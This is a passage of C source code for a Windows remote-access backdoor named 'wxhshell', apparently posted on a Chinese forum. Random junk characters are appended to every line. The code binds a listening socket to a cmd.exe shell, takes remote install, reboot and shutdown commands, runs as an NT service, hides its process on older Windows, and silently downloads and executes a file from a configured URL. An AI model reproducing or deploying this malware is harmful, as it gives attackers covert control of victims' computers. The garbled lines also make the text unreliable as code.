  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yj 3cyLXw  
  } aH)}/n  
  else { hZ?Rof  
q/4J.j L  
    switch(cmd[0]) { T0wW<_jh  
  Q 3hKk$Y  
  // 帮助 vYwYQG  
  case '?': { '\l"   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0fb2;&pUa  
    break; .F98G/s  
  } kyR:[+je  
  // 安装 }|0^EWL  
  case 'i': { &47i"%  
    if(Install()) q<xCb%#Jl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |7'df&CA  
    else 5;tD"/nz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qf~vZtJ+J  
    break; yr)G]K[/  
    } LM:vsG  
  // 卸载 :%l TU  
  case 'r': { I&D5;8  
    if(Uninstall()) ~8'sBT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }*M6x;t  
    else ,Xu-@br{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Gsc;X'id  
    break; Z;h t  
    } $SlIr<'*"  
  // 显示 wxhshell 所在路径 wcrCEX=I>{  
  case 'p': { *RI]?j%B  
    char svExeFile[MAX_PATH]; v,FU^f-'  
    strcpy(svExeFile,"\n\r"); zU5v /'h>d  
      strcat(svExeFile,ExeFile); b.2aHu( 3  
        send(wsh,svExeFile,strlen(svExeFile),0); G?L HmTHg  
    break; lp.ldajN  
    } [T8WThs  
  // 重启 r<9Iof4  
  case 'b': { ih58 <Up5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )X1{  
    if(Boot(REBOOT)) >~''&vdsk\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {BP{C=p  
    else { ax"+0L {  
    closesocket(wsh); 52@C9Q,  
    ExitThread(0); 8H%;WU9-  
    } wg9t)1k{e  
    break; Gw}%{=D9  
    } /j #n  
  // 关机 ux=w!y;}  
  case 'd': { 8o3E0k1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %v=*Wb\3|  
    if(Boot(SHUTDOWN)) W,K;6TZhh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u }#(.)a:  
    else { X2#2C/6#u  
    closesocket(wsh); tZ]?^_Y1  
    ExitThread(0); iW)8j 8  
    } Lm iOhx  
    break; $jjfC  
    } 5VfyU8)7X  
  // 获取shell _('=b/  
  case 's': { Uf1!qP/H?  
    CmdShell(wsh); n7zm>&  
    closesocket(wsh); K%,2=.  
    ExitThread(0); 3(="YbZ  
    break; 0.\/\V:H6  
  } S-a]j;U  
  // 退出 YDIG,%uv  
  case 'x': { I&fozO   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3$jT*OyG#  
    CloseIt(wsh); WltQ63u  
    break; 4svBzZdr  
    } Ryl:a\  
  // 离开 y8d]9sX{  
  case 'q': { ]Oe2JfJwx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WO7z  
    closesocket(wsh); `Syl:rU~y@  
    WSACleanup(); #%pI(,o=  
    exit(1); B |5]Jm]  
    break; ]V[q(-Jk  
        } a1g,@0s  
  } 5 )A1\  
  } @#l `iK  
[ZNtCnv  
  // 提示信息 ]RwpX ^ 1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '@a}H9>}  
} I:E`PZ  
  } `:ArT}F  
FXpJqlhNv  
  return; +UCG0D  
} b}2ED9HG\  
k 9_`(nx  
// shell模块句柄 ^NLmgw Q  
int CmdShell(SOCKET sock) H/"-Z;0{  
{ 2\)xpOj  
STARTUPINFO si; g6y B6vk  
ZeroMemory(&si,sizeof(si)); \/93Dz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rExnxQ<e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V~UN  
PROCESS_INFORMATION ProcessInfo; 1]d!~  
char cmdline[]="cmd"; bc*X/).  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Av$]|b  
  return 0; /~DI 6g  
} I^* Nqqq  
_aq 8@E~  
// 自身启动模式 @g|v;B|{  
int StartFromService(void) seba9 y  
{ $&Gu)4'+  
typedef struct n"$jG:A QJ  
{ *}Xf!"I#]N  
  DWORD ExitStatus; 3 D6RLu  
  DWORD PebBaseAddress; QfmJn((  
  DWORD AffinityMask; We)xB  
  DWORD BasePriority; IWk4&yHUAu  
  ULONG UniqueProcessId; .4S.>~^7  
  ULONG InheritedFromUniqueProcessId; X enE^e+9  
}   PROCESS_BASIC_INFORMATION; LhN|1f:9:  
2v:]tj  
PROCNTQSIP NtQueryInformationProcess; bjyZk_\  
/9 3M*b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -<6\1J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L]yS[UN$  
#OZ>V3k  
  HANDLE             hProcess; 97Lte5c6r  
  PROCESS_BASIC_INFORMATION pbi; CJtcn_.F  
'|ad_M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uMUBh 80,L  
  if(NULL == hInst ) return 0; u^&A W$  
?xA:@:l/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @efh{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =pr` '  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iky|Tp  
[<7@{;r  
  if (!NtQueryInformationProcess) return 0; ?yZ+D z\  
FSP+?((  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D{!6Y*d6&s  
  if(!hProcess) return 0; `CBZhI%%  
dA#Q}.*r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B{/R: Hm  
WJ$bf(X*  
  CloseHandle(hProcess); B`YTl~4  
,NOsFO-`<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hfv7LM  
if(hProcess==NULL) return 0; Ac96 [  
^"2i   
HMODULE hMod; gK_Ymq5>"M  
char procName[255]; 9"NF/)_  
unsigned long cbNeeded; :Hn6b$Vy8  
26e]`]!SU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jGJLSEe_  
?OId\'q  
  CloseHandle(hProcess); \<.+rqa!  
R"4Vtww  
if(strstr(procName,"services")) return 1; // 以服务启动 Sw:7pByjI  
@V(*65b2  
  return 0; // 注册表启动 d<% z 1Dj2  
} Olt `:;j-  
UGD2  
// 主模块 bhID#&  
int StartWxhshell(LPSTR lpCmdLine) +Um( h-;  
{ r/4``shg  
  SOCKET wsl; T{Gj+7bQ~  
BOOL val=TRUE; nv GF2(;l  
  int port=0; ccB&O _  
  struct sockaddr_in door; M.Y~1c4f  
L E&RY[  
  if(wscfg.ws_autoins) Install(); uya.sF0]9B  
 0bz'&  
port=atoi(lpCmdLine); 2K< 8  
(gEBOol  
if(port<=0) port=wscfg.ws_port; rk&IlAE  
O|\J}rm'  
  WSADATA data; ! _f9NK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .+qQYDE w  
hq%?=2'9?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   05z,b]>l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i;]"n;>+/  
  door.sin_family = AF_INET; S\4tzz @  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t|a2;aq_  
  door.sin_port = htons(port); Cf TfL3(J  
ao%NK<Lt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1s%#$ 7  
closesocket(wsl); N8k00*p65  
return 1; | 1E|hh@k  
} +s(HOq)b  
(gy#js #  
  if(listen(wsl,2) == INVALID_SOCKET) { cFaaLUZk  
closesocket(wsl); nKS7Q1+  
return 1; kv3E4,<9  
} \wo?47+=  
  Wxhshell(wsl); $AfM>+GQ`n  
  WSACleanup(); M%Ji0v38  
os,* 3WO  
return 0; ~kShq%  
@<&5J7fb  
} ZZ k=E4aae  
>Nvjl~o5  
// 以NT服务方式启动 ?6Jx@Sh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }x@2]juJ  
{ 61. Brp.eP  
DWORD   status = 0; !>v2i"  
  DWORD   specificError = 0xfffffff; #i@;J]x(  
^oVs+vC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "7!;KHc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )T';qm0w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cVubb}ou  
  serviceStatus.dwWin32ExitCode     = 0; t\Nq R  
  serviceStatus.dwServiceSpecificExitCode = 0; t0o`-d(  
  serviceStatus.dwCheckPoint       = 0; H GXt  
  serviceStatus.dwWaitHint       = 0; I Y2)?"A  
`4(e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yOphx07 (  
  if (hServiceStatusHandle==0) return; *FC=X)_&W  
eAXc:222  
status = GetLastError(); >SML"+>  
  if (status!=NO_ERROR) !_`&Wks  
{ M:-.o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xgpi-l  
    serviceStatus.dwCheckPoint       = 0; l ;JA8o\x  
    serviceStatus.dwWaitHint       = 0; }!;s.[y  
    serviceStatus.dwWin32ExitCode     = status; b?TO=~k,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3AQZRul  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dls ss\c^M  
    return; WOQP$D9  
  } 7N-w eX  
qR(\5}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m1),;RsH  
  serviceStatus.dwCheckPoint       = 0; 'XZ) !1N  
  serviceStatus.dwWaitHint       = 0; MZlk0o2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3|1i lP  
} R($KSui  
I2 j}Am  
// 处理NT服务事件,比如:启动、停止 >}!mQpAO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y$@ZN~8  
{ &GlwC%$S  
switch(fdwControl) X=hYB}}nu  
{ %K\?E98M  
case SERVICE_CONTROL_STOP: /wP@2ADB  
  serviceStatus.dwWin32ExitCode = 0; :Qumb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; an|x$e7|?  
  serviceStatus.dwCheckPoint   = 0; wW#}:59}  
  serviceStatus.dwWaitHint     = 0; c.,2GwW  
  { 11<Qxu$rL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Yr9AVr}K  
  } 5D_fXfx_|  
  return; R$[#+X!  
case SERVICE_CONTROL_PAUSE: mMb'@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P5 K' p5}#  
  break; tcLnN:  
case SERVICE_CONTROL_CONTINUE: Ytz)d/3T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fb7#<h  
  break; t: #6sF  
case SERVICE_CONTROL_INTERROGATE: HuwU0:*  
  break; 6 G3\=)  
}; EX?MA6U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |P -8HlOr  
} tZ^Ou89:rG  
~v]!+`_J  
// 标准应用程序主函数 / C>wd   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F8;dKyT?q  
{ Md0 s K  
*d"DA[(  
// 获取操作系统版本 D9FJ 1~  
OsIsNt=GetOsVer(); $)RNKMZC}A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _io+YzS  
qEpi]=|  
  // 从命令行安装 ~$p2#AqX  
  if(strpbrk(lpCmdLine,"iI")) Install(); qIY~dQ|  
M#~Cc~oT  
  // 下载执行文件 }; f#^gz'  
if(wscfg.ws_downexe) { ]3g?hM6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Iz ;G*W18  
  WinExec(wscfg.ws_filenam,SW_HIDE); sFQ^2PwbS  
} b|+wc6   
DwrO JIy  
if(!OsIsNt) { ^my].Qpt  
// 如果时win9x,隐藏进程并且设置为注册表启动 G(~;]xNW+  
HideProc(); Eh|]i;G%  
StartWxhshell(lpCmdLine); z .Y$7bf)  
} ;gs ^%z  
else ^NX"sM0g  
  if(StartFromService()) f|R"u W +  
  // 以服务方式启动 ox%9Ph  
  StartServiceCtrlDispatcher(DispatchTable); RTv qls  
else DSt]{fl`P  
  // 普通方式启动 xj[(P$,P  
  StartWxhshell(lpCmdLine); (y M^  
]ut5S>,"  
return 0; D5:{fWVsV/  
}
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只看该作者 1 发表于: 2006-10-10
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